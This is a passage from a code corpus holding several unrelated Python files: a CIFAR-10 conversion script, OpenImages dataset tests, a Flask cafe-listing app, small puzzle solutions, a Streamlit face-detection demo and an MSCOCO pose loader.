__future__ import print_function\n\nimport cPickle\nimport os\nimport sys\nimport tarfile\n\nimport numpy as np\nimport math\nfrom six.moves import urllib\nimport tensorflow as tf\n\nfrom datasets import dataset_utils\n\ntf.app.flags.DEFINE_integer('train_shards', 1000,\n 'Number of shards in training TFRecord files.')\nFLAGS = tf.app.flags.FLAGS\n\n# The URL where the CIFAR data can be downloaded.\n_DATA_URL = 'https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz'\n\n# The number of training files.\n_NUM_TRAIN_FILES = 5\n\n# The number of training images.\n_NUM_TRAIN_IMAGES = 50000\n\n# The height and width of each image.\n_IMAGE_SIZE = 32\n\n# The names of the classes.\n_CLASS_NAMES = [\n 'airplane',\n 'automobile',\n 'bird',\n 'cat',\n 'deer',\n 'dog',\n 'frog',\n 'horse',\n 'ship',\n 'truck',\n]\n\n\ndef _add_to_tfrecord(filenames, name, dataset_dir):\n \"\"\"Loads data from the cifar10 pickle files and writes files to a TFRecord.\n\n Args:\n filename: The filename of the cifar10 pickle file.\n name: name of dataset -- 'train' or 'test'.\n offset: An offset into the absolute number of images previously written.\n\n Returns:\n The new offset.\n \"\"\"\n assert _NUM_TRAIN_IMAGES % FLAGS.train_shards == 0\n offset = 0\n shard = 0\n images_per_shard = _NUM_TRAIN_IMAGES / FLAGS.train_shards\n\n if 'train' == name:\n record_filename = _get_output_filename(dataset_dir, name, shard, FLAGS.train_shards)\n elif 'test' == name:\n record_filename = _get_output_filename(dataset_dir, name)\n else:\n raise ValueError('Illegal dataset name')\n\n tfrecord_writer = tf.python_io.TFRecordWriter(record_filename)\n\n for filename in filenames:\n with tf.gfile.Open(filename, 'r') as f:\n data = cPickle.load(f)\n\n images = data['data']\n num_images = images.shape[0]\n\n images = images.reshape((num_images, 3, 32, 32))\n labels = data['labels']\n\n with tf.Graph().as_default():\n image_placeholder = tf.placeholder(dtype=tf.uint8)\n encoded_image = tf.image.encode_png(image_placeholder)\n\n with tf.Session('') as sess:\n\n for j in range(num_images):\n sys.stdout.write('\\r>> Reading file [%s] image %d' % (\n filename, offset + 1))\n sys.stdout.flush()\n\n if ('train' == name) and ( math.floor(offset / images_per_shard) > shard) :\n tfrecord_writer.close()\n shard = shard + 1\n record_filename = _get_output_filename(dataset_dir, name, shard, FLAGS.train_shards)\n tfrecord_writer = tf.python_io.TFRecordWriter(record_filename)\n\n image = np.squeeze(images[j]).transpose((1, 2, 0))\n label = labels[j]\n\n png_string = sess.run(encoded_image,\n feed_dict={image_placeholder: image})\n\n example = dataset_utils.image_to_tfexample(\n png_string, 'png', _IMAGE_SIZE, _IMAGE_SIZE, label, _CLASS_NAMES[label])\n tfrecord_writer.write(example.SerializeToString())\n offset = offset + 1\n\n tfrecord_writer.close()\n return offset\n\n\ndef _get_output_filename(dataset_dir, split_name, shard=0, num_shards=1):\n \"\"\"Creates the output filename.\n\n Args:\n dataset_dir: The dataset directory where the dataset is stored.\n split_name: The name of the train/test split.\n\n Returns:\n An absolute file path.\n \"\"\"\n return '%s/%s-%.5d-of-%.5d' % (dataset_dir, split_name, shard, num_shards)\n\n\ndef _download_and_uncompress_dataset(dataset_dir):\n \"\"\"Downloads cifar10 and uncompresses it locally.\n\n Args:\n dataset_dir: The directory where the temporary files are stored.\n \"\"\"\n filename = _DATA_URL.split('/')[-1]\n filepath = os.path.join(dataset_dir, filename)\n\n if not os.path.exists(filepath):\n def _progress(count, block_size, total_size):\n sys.stdout.write('\\r>> Downloading %s %.1f%%' % (\n filename, float(count * block_size) / float(total_size) * 100.0))\n sys.stdout.flush()\n filepath, _ = urllib.request.urlretrieve(_DATA_URL, filepath, _progress)\n print()\n statinfo = os.stat(filepath)\n print('Successfully downloaded', filename, statinfo.st_size, 'bytes.')\n tarfile.open(filepath, 'r:gz').extractall(dataset_dir)\n\n\ndef _clean_up_temporary_files(dataset_dir):\n \"\"\"Removes temporary files used to create the dataset.\n\n Args:\n dataset_dir: The directory where the temporary files are stored.\n \"\"\"\n filename = _DATA_URL.split('/')[-1]\n filepath = os.path.join(dataset_dir, filename)\n tf.gfile.Remove(filepath)\n\n tmp_dir = os.path.join(dataset_dir, 'cifar-10-batches-py')\n tf.gfile.DeleteRecursively(tmp_dir)\n\n\ndef run(dataset_dir):\n \"\"\"Runs the download and conversion operation.\n\n Args:\n dataset_dir: The dataset directory where the dataset is stored.\n \"\"\"\n if not tf.gfile.Exists(dataset_dir):\n tf.gfile.MakeDirs(dataset_dir)\n\n dataset_utils.download_and_uncompress_tarball(_DATA_URL, dataset_dir)\n\n # First, process the training data:\n #with tf.python_io.TFRecordWriter(training_filename) as tfrecord_writer:\n filenames = []\n for i in range(_NUM_TRAIN_FILES):\n filenames.append(os.path.join(dataset_dir,\n 'cifar-10-batches-py',\n 'data_batch_%d' % (i + 1))) # 1-indexed.\n _add_to_tfrecord(filenames, 'train', dataset_dir)\n\n # Next, process the testing data:\n #with tf.python_io.TFRecordWriter(testing_filename) as tfrecord_writer:\n filenames = []\n filenames.append( os.path.join(dataset_dir,\n 'cifar-10-batches-py',\n 'test_batch'))\n _add_to_tfrecord(filenames, 'test', dataset_dir)\n\n # Finally, write the labels file:\n labels_to_class_names = dict(zip(range(len(_CLASS_NAMES)), _CLASS_NAMES))\n dataset_utils.write_label_file(labels_to_class_names, dataset_dir)\n\n _clean_up_temporary_files(dataset_dir)\n print('\\nFinished converting the Cifar10 dataset!')\n","repo_name":"wenwei202/terngrad","sub_path":"slim/datasets/download_convert_and_shard_cifar10.py","file_name":"download_convert_and_shard_cifar10.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"67"} +{"seq_id":"21814449157","text":"import csv\nimport os.path as osp\nimport tempfile\n\nimport mmcv\nimport numpy as np\nimport pytest\n\nfrom mmdet.datasets import OpenImagesChallengeDataset, OpenImagesDataset\n\n\ndef _create_ids_error_oid_csv(\n label_file,\n fake_csv_file,\n):\n label_description = ['/m/000002', 'Football']\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(label_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerow(label_description)\n\n header = [\n 'ImageID', 'Source', 'LabelName', 'Confidence', 'XMin', 'XMax', 'YMin',\n 'YMax', 'IsOccluded', 'IsTruncated', 'IsGroupOf', 'IsDepiction',\n 'IsInside'\n ]\n annotations = [[\n 'color', 'xclick', '/m/000002', '1', '0.022673031', '0.9642005',\n '0.07103825', '0.80054647', '0', '0', '0', '0', '0'\n ],\n [\n '000595fe6fee6369', 'xclick', '/m/000000', '1', '0',\n '1', '0', '1', '0', '0', '1', '0', '0'\n ]]\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(fake_csv_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerow(header)\n f_csv.writerows(annotations)\n\n\ndef _create_oid_style_ann(label_file, csv_file, label_level_file):\n label_description = [['/m/000000', 'Sports equipment'],\n ['/m/000001', 'Ball'], ['/m/000002', 'Football'],\n ['/m/000004', 'Bicycle']]\n with open(label_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerows(label_description)\n\n header = [\n 'ImageID', 'Source', 'LabelName', 'Confidence', 'XMin', 'XMax', 'YMin',\n 'YMax', 'IsOccluded', 'IsTruncated', 'IsGroupOf', 'IsDepiction',\n 'IsInside'\n ]\n annotations = [\n [\n 'color', 'xclick', '/m/000002', 1, 0.0333333, 0.1, 0.0333333, 0.1,\n 0, 0, 1, 0, 0\n ],\n [\n 'color', 'xclick', '/m/000002', 1, 0.1, 0.166667, 0.1, 0.166667, 0,\n 0, 0, 0, 0\n ],\n ]\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(csv_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerow(header)\n f_csv.writerows(annotations)\n\n header = ['ImageID', 'Source', 'LabelName', 'Confidence']\n annotations = [['color', 'xclick', '/m/000002', '1'],\n ['color', 'xclick', '/m/000004', '0']]\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(label_level_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerow(header)\n f_csv.writerows(annotations)\n\n\ndef _create_hierarchy_json(hierarchy_name):\n fake_hierarchy = \\\n {'LabelName': '/m/0bl9f', # entity label\n 'Subcategory': [\n {\n 'LabelName': '/m/000000',\n 'Subcategory':\n [\n {'LabelName': '/m/000001',\n 'Subcategory':\n [\n {\n 'LabelName': '/m/000002'\n }\n ]\n },\n {\n 'LabelName': '/m/000004'\n }\n ]\n }\n ]\n }\n\n mmcv.dump(fake_hierarchy, hierarchy_name)\n\n\ndef _create_hierarchy_np(hierarchy_name):\n fake_hierarchy = np.array([[0, 1, 0, 0, 0], [0, 1, 1, 0,\n 0], [0, 1, 1, 1, 0],\n [0, 1, 0, 0, 1], [0, 0, 0, 0, 0]])\n with open(hierarchy_name, 'wb') as f:\n np.save(f, fake_hierarchy)\n\n\ndef _create_dummy_results():\n boxes = [\n np.zeros((0, 5)),\n np.zeros((0, 5)),\n np.array([[10, 10, 15, 15, 1.0], [15, 15, 30, 30, 0.98],\n [10, 10, 25, 25, 0.98], [28, 28, 35, 35, 0.97],\n [30, 30, 51, 51, 0.96], [100, 110, 120, 130, 0.15]]),\n np.array([[30, 30, 50, 50, 0.51]]),\n ]\n return [boxes]\n\n\ndef _creat_oid_challenge_style_ann(txt_file, label_file, label_level_file):\n bboxes = [\n 'validation/color.jpg\\n',\n '4 29\\n',\n '2\\n',\n '1 0.0333333 0.1 0.0333333 0.1 1\\n',\n '1 0.1 0.166667 0.1 0.166667 0\\n',\n ]\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(txt_file, 'w', newline='') as f:\n f.writelines(bboxes)\n f.close()\n\n label_description = [['/m/000000', 'Sports equipment', 1],\n ['/m/000001', 'Ball', 2],\n ['/m/000002', 'Football', 3],\n ['/m/000004', 'Bicycle', 4]]\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(label_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerows(label_description)\n\n header = ['ImageID', 'LabelName', 'Confidence']\n annotations = [['color', '/m/000001', '1'], ['color', '/m/000000', '0']]\n # `newline=''` is used to avoid index error of out of bounds\n # in Windows system\n with open(label_level_file, 'w', newline='') as f:\n f_csv = csv.writer(f)\n f_csv.writerow(header)\n f_csv.writerows(annotations)\n\n\ndef _create_metas(meta_file):\n\n fake_meta = [{\n 'filename': 'data/OpenImages/OpenImages/validation/color.jpg',\n 'ori_shape': (300, 300, 3)\n }]\n mmcv.dump(fake_meta, meta_file)\n\n\ndef test_oid_annotation_ids_unique():\n # create fake ann files\n tmp_dir = tempfile.TemporaryDirectory()\n fake_label_file = osp.join(tmp_dir.name, 'fake_label.csv')\n fake_ann_file = osp.join(tmp_dir.name, 'fake_ann.csv')\n _create_ids_error_oid_csv(fake_label_file, fake_ann_file)\n\n # test annotation ids not unique error\n with pytest.raises(AssertionError):\n OpenImagesDataset(\n ann_file=fake_ann_file, label_file=fake_label_file, pipeline=[])\n tmp_dir.cleanup()\n\n\ndef test_openimages_dataset():\n # create fake ann files\n tmp_dir = tempfile.TemporaryDirectory()\n label_file = osp.join(tmp_dir.name, 'label_file.csv')\n ann_file = osp.join(tmp_dir.name, 'ann_file.csv')\n label_level_file = osp.join(tmp_dir.name, 'label_level_file.csv')\n _create_oid_style_ann(label_file, ann_file, label_level_file)\n\n hierarchy_json = osp.join(tmp_dir.name, 'hierarchy.json')\n _create_hierarchy_json(hierarchy_json)\n\n # test whether hierarchy_file is not None when set\n # get_parent_classes is True\n with pytest.raises(AssertionError):\n OpenImagesDataset(\n ann_file=ann_file,\n label_file=label_file,\n image_level_ann_file=label_level_file,\n pipeline=[])\n\n dataset = OpenImagesDataset(\n ann_file=ann_file,\n label_file=label_file,\n image_level_ann_file=label_level_file,\n hierarchy_file=hierarchy_json,\n pipeline=[])\n ann = dataset.get_ann_info(0)\n # two legal detection bboxes with `group_of` parameter\n assert ann['bboxes'].shape[0] == ann['labels'].shape[0] == \\\n ann['gt_is_group_ofs'].shape[0] == 2\n\n # test load metas from pipeline\n img_norm_cfg = dict(\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True)\n test_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(\n type='MultiScaleFlipAug',\n img_scale=(128, 128),\n flip=False,\n transforms=[\n dict(type='Resize', keep_ratio=True),\n dict(type='RandomFlip'),\n dict(type='Normalize', **img_norm_cfg),\n dict(type='Pad', size_divisor=32),\n dict(type='ImageToTensor', keys=['img']),\n dict(type='Collect', keys=['img']),\n ])\n ]\n dataset = OpenImagesDataset(\n ann_file=ann_file,\n img_prefix='tests/data',\n label_file=label_file,\n image_level_ann_file=label_level_file,\n load_from_file=False,\n hierarchy_file=hierarchy_json,\n pipeline=test_pipeline)\n dataset.prepare_test_img(0)\n assert len(dataset.test_img_metas) == 1\n result = _create_dummy_results()\n dataset.evaluate(result)\n\n # test get hierarchy for classes\n hierarchy_json = osp.join(tmp_dir.name, 'hierarchy.json')\n _create_hierarchy_json(hierarchy_json)\n\n # test with hierarchy file wrong suffix\n with pytest.raises(AssertionError):\n fake_path = osp.join(tmp_dir.name, 'hierarchy.csv')\n OpenImagesDataset(\n ann_file=ann_file,\n img_prefix='tests/data',\n label_file=label_file,\n image_level_ann_file=label_level_file,\n load_from_file=False,\n hierarchy_file=fake_path,\n pipeline=test_pipeline)\n\n # test load hierarchy file succseefully\n hierarchy = dataset.get_relation_matrix(hierarchy_json)\n hierarchy_gt = np.array([[1, 0, 0, 0], [1, 1, 0, 0], [1, 1, 1, 0],\n [1, 0, 0, 1]])\n assert np.equal(hierarchy, hierarchy_gt).all()\n\n # test evaluation\n # create fake metas\n meta_file = osp.join(tmp_dir.name, 'meta.pkl')\n _create_metas(meta_file)\n\n dataset = OpenImagesDataset(\n ann_file=ann_file,\n label_file=label_file,\n image_level_ann_file=label_level_file,\n hierarchy_file=hierarchy_json,\n meta_file=meta_file,\n pipeline=[])\n # test evaluation with using group_of, adding father classes to\n # GT and annotations, and considering image_level_image,\n # In the first label (Sports equipment): tp = [0, 1, 0, 0, 1],\n # fp = [1, 0, 1, 1, 0]\n # In the second label (Ball), tp = [0, 1, 0, 1], fp = [1, 0, 1, 0].\n # In the third label (Football), tp = [0, 1, 0, 1], fp = [1, 0, 1, 0].\n # In the forth label (Bicycle), tp = [0], fp = [1].\n result = _create_dummy_results()\n parsed_results = dataset.evaluate(result)\n assert np.isclose(parsed_results['mAP'], 0.8333, 1e-4)\n\n dataset = OpenImagesDataset(\n ann_file=ann_file,\n label_file=label_file,\n load_image_level_labels=False,\n image_level_ann_file=label_level_file,\n hierarchy_file=hierarchy_json,\n meta_file=meta_file,\n pipeline=[])\n\n # test evaluation with using group_of, adding father classes to\n # GT and annotations, and not considering image_level_image,\n # In the first label (Sports equipment): tp = [0, 1, 0, 0, 1],\n # fp = [1, 0, 1, 1, 0]\n # In the second label (Ball), tp = [0, 1, 0, 1], fp = [1, 0, 1, 0].\n # In the third label (Football), tp = [0, 1, 0, 1], fp = [1, 0, 1, 0].\n # In the forth label (Bicycle), tp = [], fp = [].\n result = _create_dummy_results()\n parsed_results = dataset.evaluate(result)\n assert np.isclose(parsed_results['mAP'], 0.8333, 1e-4)\n tmp_dir.cleanup()\n\n\ndef test_openimages_challenge_dataset():\n # create fake ann files\n tmp_dir = tempfile.TemporaryDirectory()\n ann_file = osp.join(tmp_dir.name, 'ann_file.txt')\n label_file = osp.join(tmp_dir.name, 'label_file.csv')\n label_level_file = osp.join(tmp_dir.name, 'label_level_file.csv')\n _creat_oid_challenge_style_ann(ann_file, label_file, label_level_file)\n\n dataset = OpenImagesChallengeDataset(\n ann_file=ann_file,\n label_file=label_file,\n load_image_level_labels=False,\n get_supercategory=False,\n pipeline=[])\n ann = dataset.get_ann_info(0)\n\n # two legal detection bboxes with `group_of` parameter\n assert ann['bboxes'].shape[0] == ann['labels'].shape[0] == \\\n ann['gt_is_group_ofs'].shape[0] == 2\n\n dataset.prepare_train_img(0)\n dataset.prepare_test_img(0)\n\n meta_file = osp.join(tmp_dir.name, 'meta.pkl')\n _create_metas(meta_file)\n\n result = _create_dummy_results()\n with pytest.raises(AssertionError):\n fake_json = osp.join(tmp_dir.name, 'hierarchy.json')\n OpenImagesChallengeDataset(\n ann_file=ann_file,\n label_file=label_file,\n image_level_ann_file=label_level_file,\n hierarchy_file=fake_json,\n meta_file=meta_file,\n pipeline=[])\n\n hierarchy_file = osp.join(tmp_dir.name, 'hierarchy.np')\n _create_hierarchy_np(hierarchy_file)\n dataset = OpenImagesChallengeDataset(\n ann_file=ann_file,\n label_file=label_file,\n image_level_ann_file=label_level_file,\n hierarchy_file=hierarchy_file,\n meta_file=meta_file,\n pipeline=[])\n dataset.evaluate(result)\n tmp_dir.cleanup()\n","repo_name":"Sense-X/Co-DETR","sub_path":"tests/test_data/test_datasets/test_openimages_dataset.py","file_name":"test_openimages_dataset.py","file_ext":"py","file_size_in_byte":12808,"program_lang":"python","lang":"en","doc_type":"code","stars":568,"dataset":"github-code","pt":"67"} +{"seq_id":"14949950996","text":"from pprint import pprint\nfrom flask_bootstrap import Bootstrap\nfrom flask_wtf import FlaskForm\nfrom werkzeug.utils import redirect\nfrom wtforms import *\nfrom wtforms.validators import DataRequired, URL\nfrom flask import Flask, jsonify, render_template, request, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\n\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.environ.get(\"SECRET_KEY\")\n# app.config['SECRET_KEY'] = \"secretkey\"\n\n\n##Connect to Database\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get(\"DB_URL\", 'sqlite:///cafes.db')\n\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\nBootstrap(app)\n\n\n##Cafe TABLE Configuration\nclass Cafe(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(250), unique=True, nullable=False)\n map_url = db.Column(db.String(500), nullable=False)\n img_url = db.Column(db.String(500), nullable=False)\n location = db.Column(db.String(250), nullable=False)\n seats = db.Column(db.String(250), nullable=False)\n has_toilet = db.Column(db.Boolean, nullable=False)\n has_wifi = db.Column(db.Boolean, nullable=False)\n has_sockets = db.Column(db.Boolean, nullable=False)\n can_take_calls = db.Column(db.Boolean, nullable=False)\n coffee_price = db.Column(db.String(250), nullable=True)\n\n def to_dict(self):\n # Method 1.\n dictionary = {}\n # Loop through each column in the data record\n for column in self.__table__.columns:\n dictionary[column.name] = getattr(self, column.name)\n return dictionary\n\n # Method 2. Altenatively use Dictionary Comprehension to do the same thing.\n # return {column.name: getattr(self, column.name) for column in self.__table__.columns}\n# db.create_all()\n\n# adding cafe form\nclass AddCafeForm(FlaskForm):\n title = StringField(\"Cafe name\", validators=[DataRequired()])\n location = StringField(\"Cafe location\", validators=[DataRequired()])\n img_url = StringField(\"Image URL\", validators=[DataRequired(), URL()])\n map_url = StringField(\"Location(map) URL\", validators=[DataRequired(), URL()])\n seats = StringField(\"No of seats\", validators=[DataRequired()])\n coffee = StringField(\"Coffee price\", validators=[DataRequired()])\n has_toilet = BooleanField(\"Toilets\", default=False)\n has_wifi = BooleanField(\"Wifi\", default=False)\n has_sockets = BooleanField(\"sockets\", default=False)\n can_take_calls = BooleanField(\"can take calls\", default=False)\n submit = SubmitField(\"Submit\")\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef home():\n if request.method == \"POST\":\n page = request.args.get(\"page\", 1, type=int)\n # if request.form[\"submit_btn\"] == \"search_det\":\n # search\n search_input = request.form.get(\"search\")\n all_cafes = db.session.query(Cafe).filter(\n Cafe.name.like(f\"{search_input}%\")\n | Cafe.location.like(f\"{search_input}%\")).paginate(per_page=10, page=page)\n\n else:\n page = request.args.get(\"page\", 1, type=int)\n all_cafes = Cafe.query.paginate(per_page=10, page=page)\n\n caf_list = []\n for i in all_cafes.items:\n caf = i.to_dict()\n caf_list.append(caf)\n\n all_cafes_json = jsonify(cafes=caf_list).json\n pprint(all_cafes_json)\n return render_template(\"index.html\", cafes=all_cafes_json, pages=all_cafes)\n\n@app.route(\"/filters\", methods=[\"GET\", \"POST\"])\ndef filters():\n page = request.args.get(\"page\", 1, type=int)\n location_input = request.form.get(\"location\")\n socket_input = request.form.get(\"sockets\") == \"on\"\n wifi_input = request.form.get(\"wifi\") == \"on\"\n call_input = request.form.get(\"calls\") == \"on\"\n toilet_input = request.form.get(\"toilet\") == \"on\"\n all_cafes = Cafe.query.filter_by(location=location_input, has_sockets=socket_input,\n has_wifi=wifi_input, has_toilet=toilet_input,\n can_take_calls=call_input\n ).paginate(per_page=10, page=page)\n caf_list = []\n for i in all_cafes.items:\n caf = i.to_dict()\n caf_list.append(caf)\n\n all_cafes_json = jsonify(cafes=caf_list).json\n pprint(all_cafes_json)\n return render_template(\"index.html\", cafes=all_cafes_json, pages=all_cafes)\n\n@app.route(\"/add\", methods=[\"GET\", \"POST\"])\ndef add():\n form = AddCafeForm()\n if form.validate_on_submit():\n new_cafe = Cafe(\n name=form.title.data,\n map_url=form.map_url.data,\n img_url=form.img_url.data,\n location=form.location.data,\n seats=form.seats.data,\n has_toilet=bool(form.has_toilet.data),\n has_wifi=bool(form.has_wifi.data),\n has_sockets=bool(form.has_sockets.data),\n can_take_calls=bool(form.can_take_calls.data),\n coffee_price=form.coffee.data\n )\n db.session.add(new_cafe)\n db.session.commit()\n return redirect(url_for(\"home\"))\n\n return render_template(\"add.html\", form=form)\n\n\n@app.route(\"/update-cafe\", methods=[\"GET\", \"POST\"])\ndef update_cafe():\n cafe_id = request.args.get(\"cafe_id\")\n cafe = Cafe.query.get(cafe_id)\n edit_form = AddCafeForm(\n title=cafe.name,\n location=cafe.location,\n img_url=cafe.img_url,\n map_url=cafe.map_url,\n seats=cafe.seats,\n coffee=cafe.coffee_price,\n has_toilet=cafe.has_toilet,\n has_sockets=cafe.has_sockets,\n can_take_calls=cafe.can_take_calls\n )\n if edit_form.validate_on_submit():\n cafe.name = edit_form.title.data\n cafe.location = edit_form.location.data\n cafe.img_url = edit_form.img_url.data\n cafe.map_url = edit_form.map_url.data\n cafe.seats = edit_form.seats.data\n cafe.coffee_price = edit_form.coffee.data\n cafe.has_toilet = bool(edit_form.has_toilet.data)\n cafe.has_wifi = bool(edit_form.has_wifi.data)\n cafe.has_sockets = bool(edit_form.has_sockets.data)\n cafe.can_take_calls = bool(edit_form.can_take_calls.data)\n\n db.session.commit()\n return redirect(url_for(\"home\"))\n\n return render_template(\"update-cafe.html\", form=edit_form)\n\n\n@app.route(\"/delete/\", methods=[\"GET\", \"DELETE\"])\ndef report_closed(cafe_id):\n cafe_wanted = Cafe.query.get(cafe_id)\n api_key = \"top-secret-key\"\n key = request.args.get(\"key\")\n if key == api_key:\n if cafe_wanted:\n db.session.delete(cafe_wanted)\n db.session.commit()\n return jsonify({\"success\": \"Successfully deleted\"})\n else:\n return jsonify({\"error\": {\n \"Not found\": \"Sorry, a cafe with that id was not found in the database\"\n }}), 404\n\n elif not key or key != api_key:\n return jsonify({\"Forbidden\": {\n \"Key error\": \"please enter a valid API key\"\n }}), 403\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"itzgeebee/Work_Easy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33201757157","text":"import sys\nreader = (s.rstrip() for s in sys.stdin)\ninput = reader.__next__\nfrom copy import deepcopy\n\ndef gift():\n for _ in range(t):\n n = int(input())\n arry = list(map(int,input().split()))\n arryS=deepcopy(arry)\n arryS.sort()\n minele=arryS[0]\n ans='YES'\n for i in range(n):\n if arry[i]==arryS[i] or arry[i]%minele==0:\n continue\n else:\n ans='NO'\n break\n \n yield ans\n \nif __name__ == '__main__':\n t= int(input())\n ans = gift()\n print(*ans,sep='\\n')\n \n\n\n#\"{} {} {}\".format(maxele,minele,minele)\n","repo_name":"marcus-aurelianus/codeforce","sub_path":"round665/meharray.py","file_name":"meharray.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"38050842620","text":"def minion_game(string):\n vowels = \"AEIOU\"\n stuart = 0\n kevin = 0\n n = len(string)\n for i in range(n):\n if string[i] in vowels:\n kevin += n - i\n else:\n stuart += n - i\n if kevin > stuart:\n print(\"Kevin \"+str(kevin))\n elif stuart > kevin:\n print(\"Stuart \"+str(stuart))\n else:\n print(\"Draw\")\n\nif __name__ == '__main__':\n s = input()\n minion_game(s)\n","repo_name":"ferconde87/HackerRank","sub_path":"Python/theMinionGame.py","file_name":"theMinionGame.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20702715199","text":"import streamlit as st\nfrom PIL import Image\nfrom face_detection import get_labels\nimport dlib\nimport cv2\nimport os\nimport numpy as np\n\npath = '/Users/zoekim/Desktop/g/SSMILE/scripts/'\n\n@st.cache\ndef load_image(image_file):\n img = Image.open(image_file)\n return img \n\ndef run_face_detection():\n st.subheader('Face Detection')\n\n option = st.selectbox(\n 'File Type',\n ('Select Your File Type', 'Image', 'WebCam'))\n\n if option == 'Please Select Your File Type':\n pass\n\n if option == 'Image':\n\n img_file = st.file_uploader('Upload Your Image', type = ['png', 'jpeg', 'jpg'])\n if img_file is None:\n pass\n else:\n st.image(load_image(img_file))\n with open(img_file.name, 'wb') as f:\n f.write(img_file.getbuffer())\n\n #st.success('Image Uploaded')\n if st.button(\"Detection\"):\n face_detector = dlib.get_frontal_face_detector()\n shape_predictor = dlib.shape_predictor('/Users/zoekim/Desktop/g/SSMILE/scripts/shape_predictor_68_face_landmarks_GTX.dat')\n \n saved_img_file = cv2.imread(os.path.join(path, img_file.name))\n \n #st.image(saved_img_file)\n \n new_img = get_labels(saved_img_file, face_detector, shape_predictor)\n cv2.imwrite('new.jpg', new_img)\n st.image(Image.open('/Users/zoekim/Desktop/g/SSMILE/scripts/new.jpg'))\n os.remove('/Users/zoekim/Desktop/g/SSMILE/scripts/new.jpg')\n\n if option == 'WebCam':\n camera_file = st.camera_input(\"Upload your picture by web camera\")\n if camera_file is not None:\n bytes_data = camera_file.getvalue()\n cv2_img = cv2.imdecode(np.frombuffer(bytes_data, np.uint8), cv2.IMREAD_COLOR)\n\n if st.button(\"Detection\"):\n face_detector = dlib.get_frontal_face_detector()\n shape_predictor = dlib.shape_predictor('/Users/zoekim/Desktop/g/SSMILE/scripts/shape_predictor_68_face_landmarks_GTX.dat')\n \n new_img = get_labels(cv2_img, face_detector, shape_predictor)\n cv2.imwrite('new.jpg', new_img)\n st.image(Image.open('/Users/zoekim/Desktop/g/SSMILE/scripts/new.jpg'))\n os.remove('/Users/zoekim/Desktop/g/SSMILE/scripts/new.jpg')\n ","repo_name":"zoekimm/SSMILE","sub_path":"scripts/app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14448395192","text":"import os\nimport os.path as osp\nimport numpy as np\nfrom pycocotools.coco import COCO\nimport scipy.io as sio\nimport json\nimport cv2\nimport random\nimport math\nfrom utils.utils_pose import pixel2cam, warp_coord_to_ori, nameToIdx\nfrom utils.vis import vis_keypoints, vis_3d_skeleton\nfrom pathlib import Path\nfrom tqdm import tqdm\n\n\nclass MSCOCO:\n # we don't process this one specifically, data std fully covered already. Then test is split config is not needed. train give 19 full bones, thorax also comes earlier for this one\n if_SYN = False\n def __init__(self, data_split, opts={}):\n self.data_split = data_split\n self.opts = opts\n self.ds_dir = opts.ds_dir\n # self.img_dir = osp.join('..', 'data', 'MSCOCO', 'images')\n self.img_dir = osp.join(opts.ds_dir, 'MSCOCO')\n self.train_annot_path = osp.join(opts.ds_dir, 'MSCOCO', 'annotations', 'person_keypoints_train2017.json')\n self.test_annot_path = osp.join(opts.ds_dir, 'MSCOCO', 'annotations', 'person_keypoints_val2017.json')\n self.human_3d_bbox_root_dir = osp.join(opts.ds_dir, 'MSCOCO', 'bbox_root', 'bbox_root_coco_output.json')\n self.if_train = 1 if 'y' == opts.if_ylB else 0\n\n if self.data_split == 'train':\n self.joint_num = 19 # original: 17, but manually added 'Thorax', 'Pelvis' to form includsive support to h36m\n self.joints_name = ('Nose', 'L_Eye', 'R_Eye', 'L_Ear', 'R_Ear', 'L_Shoulder', 'R_Shoulder', 'L_Elbow', 'R_Elbow', 'L_Wrist', 'R_Wrist', 'L_Hip', 'R_Hip', 'L_Knee', 'R_Knee', 'L_Ankle', 'R_Ankle', 'Thorax', 'Pelvis')\n self.flip_pairs = ( (1, 2), (3, 4), (5, 6), (7, 8), (9, 10), (11, 12), (13, 14), (15, 16) )\n self.skeleton = ( (1, 2), (0, 1), (0, 2), (2, 4), (1, 3), (6, 8), (8, 10), (5, 7), (7, 9), (12, 14), (14, 16), (11, 13), (13, 15), (5, 6), (11, 12) ) # no last two bone\n self.joints_have_depth = False\n\n self.lshoulder_idx = self.joints_name.index('L_Shoulder')\n self.rshoulder_idx = self.joints_name.index('R_Shoulder')\n self.lhip_idx = self.joints_name.index('L_Hip')\n self.rhip_idx = self.joints_name.index('R_Hip')\n \n else:\n ## testing settings (when test model trained on the MuCo-3DHP dataset)\n self.joint_num = 21 # MuCo-3DHP\n self.joints_name = 